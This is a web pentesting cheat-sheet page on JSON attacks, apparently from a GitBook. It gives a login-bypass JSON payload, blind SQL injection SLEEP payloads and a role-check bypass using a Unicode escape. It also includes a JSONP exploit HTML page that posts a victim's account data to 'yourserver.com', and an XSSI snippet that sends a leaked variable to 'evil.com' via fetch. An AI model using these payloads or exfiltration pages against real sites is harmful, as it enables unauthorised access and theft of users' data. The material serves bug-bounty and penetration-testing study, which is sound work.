JSON Attack

JSON Injection

POST /api/login HTTP/1.1
Host: vuln-web.io
[...]

{"username":"admin","password":{"password": 1}}

Blind SQL Injection

[-1+or+1%3d((SELET+1+FROM+(SELECT+SLEEP(5))A))]
{AnD SLEEP(5)}
{1 AnD SLEEP(5)}
{1' AnD SLEEP(5)--}
{sleep 5}
"emails":["AnD SLEEP(5)"]
"emails":["test@test.com OR SLEEP(5)#"]
{"options":{"id":[],"emails":["AnD SLEEP(5)"],

Add Parameter

Easy admin Access By Gaming with JSONMedium

JSON Injection

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}

Add \ud888

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}

Attacking APIs using JSON InjectionDana Epp's Blog

JSON Padding, JSONP

Exploiting JSONP and Bypassing Referer CheckMedium

Detection

Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.

Exploit

Json file

Add a query parameter of callback like this

https://user.redact.com/payment/wallet/balance?callback=call_me

If the endpoint has JSONP enabled it will create an object with the name of call_me and all the data will be inside that object like this.

Exploitation: create a .html file which will extract the data and store it on your desired server. You just have to send the URL to the victim

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="referrer" content="no-referrer">
    <title>Test JSON Padding Attack</title>
</head>
<body>

<script>
function call_me(response) {
    var http = new XMLHttpRequest();
    var url = 'https://yourserver.com/store.php';
    var params = 'data=' + encodeURIComponent(JSON.stringify(response));

    http.open('POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {
        if (http.readyState == 4 && http.status == 200) {
            console.log(http.responseText);
        }
    }
    http.send(params);
}
</script>

<script src="https://user.redact.com/api/user/profile?callback=call_me"></script>

</body>
</html>

XSSI an JSONP

Cross-Site Script Inclusionscipag

Effortlessly finding Cross Site Script Inclusion (XSSI) & JSONP for bug bountyMedium

On your own server

<html>
  <head>
    <title>Regular XSSI</title>
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
    </script>
  </body>
</html>

Exfiltration

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

JSON Globbing

IDOR

Node.js

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

PreviousCRLF Injection NextPrototype Pollution

Last updated 5 months ago

Bypass Admin Login

Blind SQL Injection

Add Parameter

JSON Injection

JSON Padding, JSONP

Detection

Exploit

XSSI an JSONP

JSON Globbing

Node.js

Interesting Books